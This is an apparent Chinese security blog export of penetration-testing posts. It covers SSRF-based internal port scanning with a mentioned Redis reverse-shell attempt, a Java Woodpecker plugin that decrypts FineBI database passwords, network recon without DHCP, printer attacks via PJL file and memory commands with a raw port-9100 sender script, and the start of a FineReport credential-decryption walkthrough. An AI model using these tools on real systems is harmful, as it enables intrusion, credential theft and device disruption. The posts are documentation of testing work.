<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> <span class="string">&quot;content-type: null&quot;</span> <span class="keyword">in</span> req.text:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;port is open:&quot;</span> + <span class="built_in">str</span>(i))</span><br><span class="line">    <span class="keyword">elif</span> <span class="string">&quot;addresses&quot;</span> <span class="keyword">in</span> req.text:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;port not open:&#x27;</span> + <span class="built_in">str</span>(i))</span><br><span class="line">    <span class="keyword">elif</span> <span class="string">&quot;text/html&quot;</span> <span class="keyword">in</span> req.text:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;http server open:&quot;</span>+ <span class="built_in">str</span>(i))</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;It&#x27;s filed:&quot;</span> + <span class="built_in">str</span>(i))</span><br></pre></td></tr></table></figure>

<p>跨了两个段之后，发现某台主机6379端口开放，发送反弹shell命令，页面成功回显命令回响。但是，未成功获取shell。原因可能是内网不通外网或者操作系统版本问题导致定时任务未成功写入。通过ssrf+dnslog验证内网是否可通外网，发现dnslog没接收到请求。因此，大概率为内网完全不通外网，导致shell无法反弹。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>本次关键点为waf绕过、redis服务探测。</p>
<ul>
<li>WAF可使用脏数据填充方式绕过；</li>
<li>内网探测时需注意内外网是否互通情况；</li>
<li>ssrf可用dict、file、gopher等协议进行探测。在这里尝试了多种协议，使用file报错<code>java.lang.ClassCastException: sun.net.www.protocol.file.FileURLConnection incompatible with java.net.HttpURLConnection</code>;使用gopher报错<code>java.lang.ClassCastException: sun.net.www.protocol.gopher.GopherURLConnection incompatible with java.net.HttpURLConnection</code>;使用dict报错<code>unknown protocol: dict</code>。</li>
</ul>
]]></content>
      <categories>
        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>ssrf</tag>
      </tags>
  </entry>
  <entry>
    <title>woodpecker插件编写</title>
    <url>/archives/ec517011.html</url>
    <content><![CDATA[<p>编写woodpecker帆软密码解密插件<br><img data-src="https://s2.loli.net/2023/07/27/Q2bSljkpq3OMdCV.jpg"></p>
<span id="more"></span>

<h1 id="编写"><a href="#编写" class="headerlink" title="编写"></a>编写</h1><p>目录结构</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">├── pom<span class="selector-class">.xml</span></span><br><span class="line">├── <span class="attribute">src</span></span><br><span class="line">│   ├── <span class="selector-tag">main</span></span><br><span class="line">│   │   ├── java</span><br><span class="line">│   │   │   └── me</span><br><span class="line">│   │   │       └── gv7</span><br><span class="line">│   │   │           └── woodpecker</span><br><span class="line">│   │   │               ├── helper</span><br><span class="line">│   │   │               │   ├── PasswdDecryptHelper<span class="selector-class">.java</span></span><br><span class="line">│   │   │               │   └── fineBIPasswordDcrypter<span class="selector-class">.java</span></span><br><span class="line">│   │   │               └── plugin</span><br><span class="line">│   │   │                   └──WoodpeckerPluginManager<span class="selector-class">.java</span></span><br><span class="line">│   │   └── test</span><br><span class="line">│   │       └── java</span><br><span class="line">│   └── test</span><br><span class="line">│       └── java</span><br><span class="line">│           └── fineBIDecrypterTest<span class="selector-class">.java</span></span><br><span class="line">└── target</span><br><span class="line">    ├── archive-tmp</span><br><span class="line">    ├── classes</span><br><span class="line">    │   └── me</span><br><span class="line">    │       └── gv7</span><br><span class="line">    │           └── woodpecker</span><br><span class="line">    │               ├── helper</span><br><span class="line">    │               │   ├── PasswdDecryptHelper<span class="selector-class">.class</span></span><br><span class="line">    │               │   └── fineBIPasswordDcrypter<span class="selector-class">.class</span></span><br><span class="line">    │               └── plugin</span><br><span class="line">    │                   └── WoodpeckerPluginManager<span class="selector-class">.class</span></span><br><span class="line">    ├── generated-sources</span><br><span class="line">    │   └── annotations</span><br><span class="line">    └── maven-status</span><br><span class="line">        └── maven-compiler-plugin</span><br><span class="line">            └── compile</span><br><span class="line">                └── default-compile</span><br><span class="line">                    ├── createdFiles<span class="selector-class">.lst</span></span><br><span class="line">                    └── inputFiles<span class="selector-class">.lst</span></span><br><span class="line"></span><br><span class="line"><span class="number">27</span> directories, <span class="number">10</span> files</span><br></pre></td></tr></table></figure>
<p>WoodpeckerPluginManager.java</p>
<figure class="highlight haxe"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> me.gv7.woodpecker.plugin;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.helper.fineBIPasswordDcrypter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">WoodpeckerPluginManager</span> <span class="keyword"><span class="keyword">implements</span> <span class="type">IPluginManager</span></span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> void registerPluginManagerCallbacks(IPluginManagerCallbacks pluginManagerCallbacks) &#123;</span><br><span class="line">        fineBIPasswordDcrypter echoTextConverter = <span class="keyword">new</span> <span class="type">fineBIPasswordDcrypter</span>();</span><br><span class="line">        pluginManagerCallbacks.registerHelperPlugin(echoTextConverter);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>fineBIPasswordDcrypter.java</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> me.gv7.woodpecker.helper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.plugin.*;</span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">fineBIPasswordDcrypter</span> <span class="keyword">implements</span> <span class="title class_">IHelperPlugin</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> IHelperPluginCallbacks callbacks;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> IPluginHelper pluginHelper;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">fineBIPasswordDcrypter</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">HelperPluginMain</span><span class="params">(IHelperPluginCallbacks iHelperPluginCallbacks)</span> &#123;</span><br><span class="line">        callbacks = iHelperPluginCallbacks;</span><br><span class="line">        pluginHelper = callbacks.getPluginHelper();</span><br><span class="line">        callbacks.setHelperPluginName(<span class="string">&quot;FineBI password Decrypter&quot;</span>);</span><br><span class="line">        callbacks.setHelperPluginVersion(<span class="string">&quot;0.1.0&quot;</span>);</span><br><span class="line">        callbacks.setHelperPluginAutor(<span class="string">&quot;hywell&quot;</span>);</span><br><span class="line">        callbacks.setHelperPluginDescription(<span class="string">&quot;帆软BI密码解密&quot;</span>);</span><br><span class="line">        List&lt;IHelper&gt; helperList = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        helperList.add(<span class="keyword">new</span> <span class="title class_">PasswdDecryptHelper</span>());</span><br><span class="line">        callbacks.registerHelper(helperList);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>PasswdDecryptHelper.java</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> me.gv7.woodpecker.helper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fr.properties.finedb.DBPropertyCipher;</span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.plugin.IHelper;</span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.plugin.IArg;</span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.plugin.IArgsUsageBinder;</span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.plugin.IResultOutput;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PasswdDecryptHelper</span> <span class="keyword">implements</span> <span class="title class_">IHelper</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">PasswdDecryptHelper</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getHelperTabCaption</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;FineBI password Decrypter&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> IArgsUsageBinder <span class="title function_">getHelperCutomArgs</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">IArgsUsageBinder</span> <span class="variable">argsUsageBinder</span> <span class="operator">=</span> fineBIPasswordDcrypter.pluginHelper.createArgsUsageBinder();</span><br><span class="line">        List&lt;IArg&gt; args = <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">        <span class="type">IArg</span> <span class="variable">argPassword</span> <span class="operator">=</span> fineBIPasswordDcrypter.pluginHelper.createArg();</span><br><span class="line">        argPassword.setName(<span class="string">&quot;password&quot;</span>);</span><br><span class="line">        argPassword.setDefaultValue(<span class="string">&quot;NbqzauIuNWerl9wdI0o/k0bm0E+gY0eeTVTGnUFM4BlewX5/QHT/aZaVIRCLMTfNfuWVnePIo+C7&quot;</span> +</span><br><span class="line">                <span class="string">&quot;uPSLC7vfJORbYQf4dYG6DNHwgAFz0RVYPQX+BnWHvPofsvNmPaESpTE2o7cEUH711wihc0RAl/d9&quot;</span> +</span><br><span class="line">                <span class="string">&quot;0qUDfyNT/VecC3R2aj1hWwh/tmoXqm8qJd0FVrfy4rPK8gLEOt9pxY0iDSK9Wmlk6B8WEGl7DV9H&quot;</span> +</span><br><span class="line">                <span class="string">&quot;huMsgthuJnKZhVNajSW0FQjqBFq/TD3sKYhf8lFG1mBXPlqb/0wfQJI7KXzul7nykG0qJm/JR8B3&quot;</span> +</span><br><span class="line">                <span class="string">&quot;eQKd7/Q5W2TjUULl7B3IWoU/NTsZq/pq9O93ZQ==&quot;</span>);</span><br><span class="line">        argPassword.setDescription(<span class="string">&quot;需要解密的 password,需单行全部确认&quot;</span>);</span><br><span class="line">        argPassword.setRequired(<span class="literal">true</span>);</span><br><span class="line">        args.add(argPassword);</span><br><span class="line">        argsUsageBinder.setArgsList(args);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> argsUsageBinder;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doHelp</span><span class="params">(Map&lt;String, Object&gt; customArgs, IResultOutput iResultOutput)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> (String) customArgs.get(<span class="string">&quot;password&quot;</span>);</span><br><span class="line">        password = password.replace(<span class="string">&quot;\\r\\n&quot;</span>,<span class="string">&quot;\n&quot;</span>).replace(<span class="string">&quot;\\n&quot;</span>,<span class="string">&quot;\n&quot;</span>).replace(<span class="string">&quot;\\=&quot;</span>,<span class="string">&quot;=&quot;</span>).replace(<span class="string">&quot;\n&quot;</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">plainText</span> <span class="operator">=</span> DBPropertyCipher.getInstance().decode(password);</span><br><span class="line">            iResultOutput.successPrintln(<span class="string">&quot;Decrypt result:&quot;</span>);</span><br><span class="line">            iResultOutput.rawPrintln(<span class="string">&quot;\n&quot;</span> + plainText + <span class="string">&quot;\n&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var6) &#123;</span><br><span class="line">            iResultOutput.errorPrintln(fineBIPasswordDcrypter.pluginHelper.getThrowableInfo(var6));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h1 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h1><p>maven打包出现未把帆软依赖打入jar中，使用maven-assembly-plugin解决</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">build</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">plugins</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-assembly-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.3.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">          <span class="tag">&lt;<span class="name">descriptorRefs</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">descriptorRef</span>&gt;</span>jar-with-dependencies<span class="tag">&lt;/<span class="name">descriptorRef</span>&gt;</span></span><br><span class="line">          <span class="tag">&lt;/<span class="name">descriptorRefs</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">plugins</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">build</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>然后使用<code>mvn compile assembly:single</code>编译即可</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>woodpecker</tag>
      </tags>
  </entry>
  <entry>
    <title>安全-内网渗透测试（无DHCP）</title>
    <url>/archives/27b0f6e3.html</url>
    <content><![CDATA[<p>针对渗透，有句话很符合：只要思想不滑坡，办法总比问题多。</p>
<span id="more"></span>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>好久没做过渗透测试，这次因为工作接触一个盲测的项目，特此记录一下。</p>
<h2 id="特点"><a href="#特点" class="headerlink" title="特点"></a>特点</h2><p>这次渗透只给了一个网口,没有DHCP服务，IP需要自己配置、系统IP需要自己去寻找。</p>
<h1 id="渗透ing"><a href="#渗透ing" class="headerlink" title="渗透ing"></a>渗透ing</h1><h2 id="获取IP"><a href="#获取IP" class="headerlink" title="获取IP"></a>获取IP</h2><p>由于没有DHCP。所以需要知道自己处于什么网段。这个步骤主要通过wireshark来查看ARP包，基本可以知道所处的网段了。但是子网掩码需要自己一个个去猜，可以先从24位(255.255.255.0)开始，逐步递增。如果递增还是不行那就递减吧。<br><img data-src="https://i.loli.net/2017/09/23/59c5b32a3ea45.png" alt="arp.png"><br>像这种ARP包，可以将IP地址配置为10.121.21.x，子网掩码配置成255.255.255.0。先看同网段IP是否可以访问，可以访问就配置网关，网关配置成10.121.21.254，再看10.121.X.X是否可以访问。</p>
<h2 id="服务器探测"><a href="#服务器探测" class="headerlink" title="服务器探测"></a>服务器探测</h2><p>有了IP地址之后，就需要开始去寻找服务器地址了。可以先从C段开始快速探测，如果C段没有目标服务器的话，那就从B段下手。这个过程极其枯燥，建议使用工具：IISPutScanner、Advanced_ip_scanner。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>有了IP、服务器IP就跟平时渗透是一样的。这次难点在于没有DHCP，需要自己去配置对应的IP、寻找目标系统的IP。</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>内网</tag>
      </tags>
  </entry>
  <entry>
    <title>安全-打印机安全研究</title>
    <url>/archives/90a5ee4a.html</url>
    <content><![CDATA[<p>只要你联网，那就有可能存在安全问题。俗称万物皆可’日’。</p>
<span id="more"></span>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>打印机是现在办公环境中不可或缺的一个硬件设备,其本身存在很多安全问题。打印机服务有:FTP、Telnet、HTTP、PJL等。看到这么多服务，相信研究人员是非常高兴的。因为服务越多，安全隐患也越多。做安全研究最怕的就是服务很少、功能很少、端口不开放这些。<br>前段时间，由于工作的原因，对打印机安全进行研究与分析。整体流程为:识别打印机→识别服务→常见服务安全分析→打印机专用服务(PJL)安全分析。PJL命令文档可以在HP网站上找到，<span class="exturl" data-url="aHR0cDovL3d3dy5ocC5jb20vY3RnL01hbnVhbC9icGwxMzIxMC5wZGY=">文档参考1<i class="fa fa-external-link-alt"></i></span>、<span class="exturl" data-url="aHR0cDovL2gxMDAzMi53d3cxLmhwLmNvbS9jdGcvTWFudWFsL2JwbDEzMjA4LnBkZg==">文档参考2<i class="fa fa-external-link-alt"></i></span>。</p>
<h1 id="识别打印机"><a href="#识别打印机" class="headerlink" title="识别打印机"></a>识别打印机</h1><p>识别打印机可以通过：SNMP发送特定oid识别、Web管理页面识别、PJL命令识别。这里我采用了PJL命令识别，通过向设备的9100端口发送PJL命令，根据返回信息来识别。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">@PJL INFO ID</span><br></pre></td></tr></table></figure>
<p>通过对打印机发送INFO ID(PJL命令)，打印机会返回其对应的型号。<br><img data-src="https://i.loli.net/2017/09/08/59b217a08f4e3.bmp" alt="识别.bmp"></p>
<h1 id="服务识别"><a href="#服务识别" class="headerlink" title="服务识别"></a>服务识别</h1><p>识别服务的话,用nmap就可以了。可以使用全端口扫描来发现对应服务。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">nmap -p 1-65535 -T4 -A -v targetIP</span><br></pre></td></tr></table></figure>
<h1 id="常见服务分析"><a href="#常见服务分析" class="headerlink" title="常见服务分析"></a>常见服务分析</h1><p>打印机常见服务：Telnet、FTP、HTTP。</p>
<h2 id="Telnet"><a href="#Telnet" class="headerlink" title="Telnet"></a>Telnet</h2><p>打印机中Telnet基本都是默认密码或者是空密码。登录之后可以查看配置信息、操作打印机等等。</p>
<h2 id="FTP"><a href="#FTP" class="headerlink" title="FTP"></a>FTP</h2><p>大部分打印机FTP默认密码或空密码。通过上传文件，文件会直接被打印。</p>
<h2 id="HTTP"><a href="#HTTP" class="headerlink" title="HTTP"></a>HTTP</h2><p>打印机的Web存在的问题：爆破破解、越权访问等。这个可通过使用Web渗透的方式进行测试。我测试的时候发现有默认密码、信息泄露等。</p>
<h1 id="打印机专用服务-PJL-分析"><a href="#打印机专用服务-PJL-分析" class="headerlink" title="打印机专用服务(PJL)分析"></a>打印机专用服务(PJL)分析</h1><p>PJL是打印机作业语言:printer job language。PJL语言有固定的格式。<br><img data-src="https://ooo.0o0.ooo/2017/09/08/59b2295cbe64f.png" alt="报文格式.png"><br>对PJL命令文档中的PJL命令进行了整理：</p>
<figure class="highlight autoit"><table><tr><td class="code"><pre><span class="line">PJL以<span class="string">&quot;\x1B%-12345@PJL JOB&quot;</span>开始，以<span class="string">&quot;\x1B%-12345&quot;</span>结束，其中每条指令应当独占一行，指令间需要有carriage <span class="keyword">return</span>（<span class="number">0x0D</span>）。使用者可以自定义指令。</span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSDELETE NAME = “pathname” [&lt;CR&gt;]&lt;LF&gt;                           <span class="meta"># 删除文件  </span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSDOWNLOAD FORMAT:<span class="built_in">BINARY</span> [SIZE=<span class="built_in">int</span>] [&lt;CR&gt;]&lt;LF&gt;                  <span class="meta"># 下载文件到打印机</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSINIT VOLUME = “pathname” [&lt;CR&gt;]&lt;LF&gt;                           <span class="meta"># 初始化打印机文件系统</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSMKDIR NAME = “pathname” [&lt;CR&gt;]&lt;LF&gt;                            <span class="meta"># 创建目录</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> DINQUIRE CPLOCK                                                 <span class="meta"># 检查控制面板状态</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> DINQUIRE PASSWORD                                               <span class="meta"># 检查密码保护状态</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> JOB PASSWORD = [<span class="built_in">Number</span>:<span class="number">0</span> <span class="keyword">to</span> <span class="number">65535</span>]                              <span class="meta"># 当前密码保护密码</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> <span class="literal">DEFAULT</span> PASSWORD [<span class="built_in">Number</span>:<span class="number">0</span> <span class="keyword">to</span> <span class="number">65535</span>]                            <span class="meta"># 修改保护密码</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> <span class="literal">DEFAULT</span> CPLOCK = [ON, OFF]                                      <span class="meta"># 控制面板状态</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET IOBUFFER = [ON, OFF, AUTO]                                  <span class="meta"># 设置缓冲区</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET IOSIZE = [<span class="number">10</span><span class="number">-100</span>]                                           <span class="meta"># 设置缓存区大小</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET PCNAME = [<span class="built_in">String</span>]                                           <span class="meta"># 设置计算机名称</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET HOLD = [ON, JOB, STORE, PROOF]                              <span class="meta"># 设置文件保存</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET HOLDKEY = [<span class="built_in">Number</span>:<span class="number">0000</span> <span class="keyword">to</span> <span class="number">9999</span>]                             <span class="meta"># 设置保存文件密码</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> <span class="literal">DEFAULT</span> DISKLOCK = [ON, OFF]                                    <span class="meta"># 设置硬盘锁定状态</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET SPOOLTIME                                                   <span class="meta"># 设置打印日期</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET COPIES                                                      <span class="meta"># 设置打印数</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET JOBNAME                                                     <span class="meta"># 设置打印机文件名称</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET RESOLUTION                                                  <span class="meta"># 设置分辨率</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET DRIVERNAME                                                  <span class="meta"># 设置驱动</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> USTATUS JOB                                                     <span class="meta"># 输出 队列中还未打印任务的 状态</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> COMMENT                                                         <span class="meta"># 添加注释</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET OUTTRAY                                                     <span class="meta">#出纸盘(纸张输出位置)</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET ORIENTATION = [PORTRAIT, LANDSCAPE]                         <span class="meta">#页面方向</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET DUPLEX = [ON, OFF]                                          <span class="meta">#双工模式(双面打印)</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET BINDING = [LONGEDGE, SHORTEDGE]                             <span class="meta">#双工模式：短边、长边</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> RNVRAM ADDRESS                                                  <span class="meta">#读取内存</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> OPMSG DISPLAY                                                   <span class="meta">#设置打印机离线脱机</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET SERVICEMODE                                                 <span class="meta">#设置服务模式</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> WNVRAM ADDRESS                                                  <span class="meta">#写入内存</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSDIRLIST NAME                                                  <span class="meta">#读取目录</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSQUERY NAME                                                    <span class="meta">#读取文件</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSUPLOAD NAME                                                   <span class="meta">#文件上传</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSDOWNLOAD                                                      <span class="meta">#写入文件</span></span><br></pre></td></tr></table></figure>
<p>由于打印机并不去判断PJL命令是谁发起的，因此，只要路由可达任何人都可以对打印机执行PJL命令操作。<br>我测试的时候，发现对打印机的9100端口发送任何数据，打印机都会将其打印出来。如果，通过对9100端口进行DoS，那么，打印机就会不间断的工作。</p>
<h1 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h1><ol>
<li><span class="exturl" data-url="aHR0cDovL3d3dy5waGVub2VsaXQub3JnL2hwLw==">Hijetter.exe<i class="fa fa-external-link-alt"></i></span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL1JVQi1ORFMvUFJFVA==">PRET<i class="fa fa-external-link-alt"></i></span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3lvdXItZmF2b3JpdGUtaGFja2VyL3BqbC10b29s">pjl-tool<i class="fa fa-external-link-alt"></i></span></li>
<li>print.py<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;1&#x27;</span>, <span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    pdata = f.read()</span><br><span class="line">    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">    sock.connect((sys.argv[<span class="number">1</span>],<span class="number">9100</span>))</span><br><span class="line">    sock.sendall(pdata)</span><br><span class="line">    recv_data = sock.recv(<span class="number">1024</span>)</span><br><span class="line">    <span class="built_in">print</span> recv_data</span><br><span class="line">    sock.close()</span><br></pre></td></tr></table></figure></li>
</ol>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>在对打印机进行安全测试的时候，发现了几个问题特此记录一下：<br>1.使用网络打印机的时候，流量报文是明文。将流量报文保存，可进行重放，将文档重新打印；</p>
<p>2.测试的打印机使用FTP向打印机上传文件，打印机立即打印，打印之后立马删除。不知道其他打印机是否会立即删除文件；</p>
<p>3.使用Python的socket可以达到快速网络数据发送。</p>
]]></content>
      <categories>
        <category>安全</category>
      </categories>
      <tags>
        <tag>打印机</tag>
      </tags>
  </entry>
  <entry>
    <title>帆软数据库配置解密</title>
    <url>/archives/df18668b.html</url>
    <content><![CDATA[<p>在某次红蓝演练中，通过帆软反序列化拿下服务器之后，发现数据库的配置信息被加密，通过查看帆软源代码最终将其解密。</p>
<p><img data-src="https://s2.loli.net/2023/04/05/Fe9Z8yLAqGdrfnC.png" alt="decode"></p>
<span id="more"></span>

<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>使用docker搭建</p>
<figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">docker</span> run -p <span class="number">8081</span>:<span class="number">8080</span> -p <span class="number">8082</span>:<span class="number">8000</span>  -d ysslang/finedocker:persist-<span class="number">2022</span>.<span class="number">05</span>.<span class="number">20</span></span><br></pre></td></tr></table></figure>

<p>由于MacOS容器跟宿主机不在同一个网络中，可以使用docker.for.mac.host.internal进行连接（容器连接宿主机）</p>
<p>修改容器里tomcat的catalina.sh文件，启动jdwp调试端口</p>
<figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> <span class="attribute">JAVA_OPTS</span>=<span class="string">&#x27;-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000&#x27;</span></span><br></pre></td></tr></table></figure>

<p>重启容器</p>
<h1 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h1><p>前端进行配置操作时，会发起config&#x2F;finedb请求</p>
<p><code>com.fr.web.controller.decision.api.migration.MigrationResource.updateFineDBConfig</code></p>
<p><img data-src="https://s2.loli.net/2023/04/05/3SgAqNm1d2WVPIh.png" alt="初始化DB"></p>
<p>根据路由日志可得知该请求为:</p>
<p><code>com.fr.web.controller.decision.api.migration.MigrationResource.updateFineDBConfig</code></p>
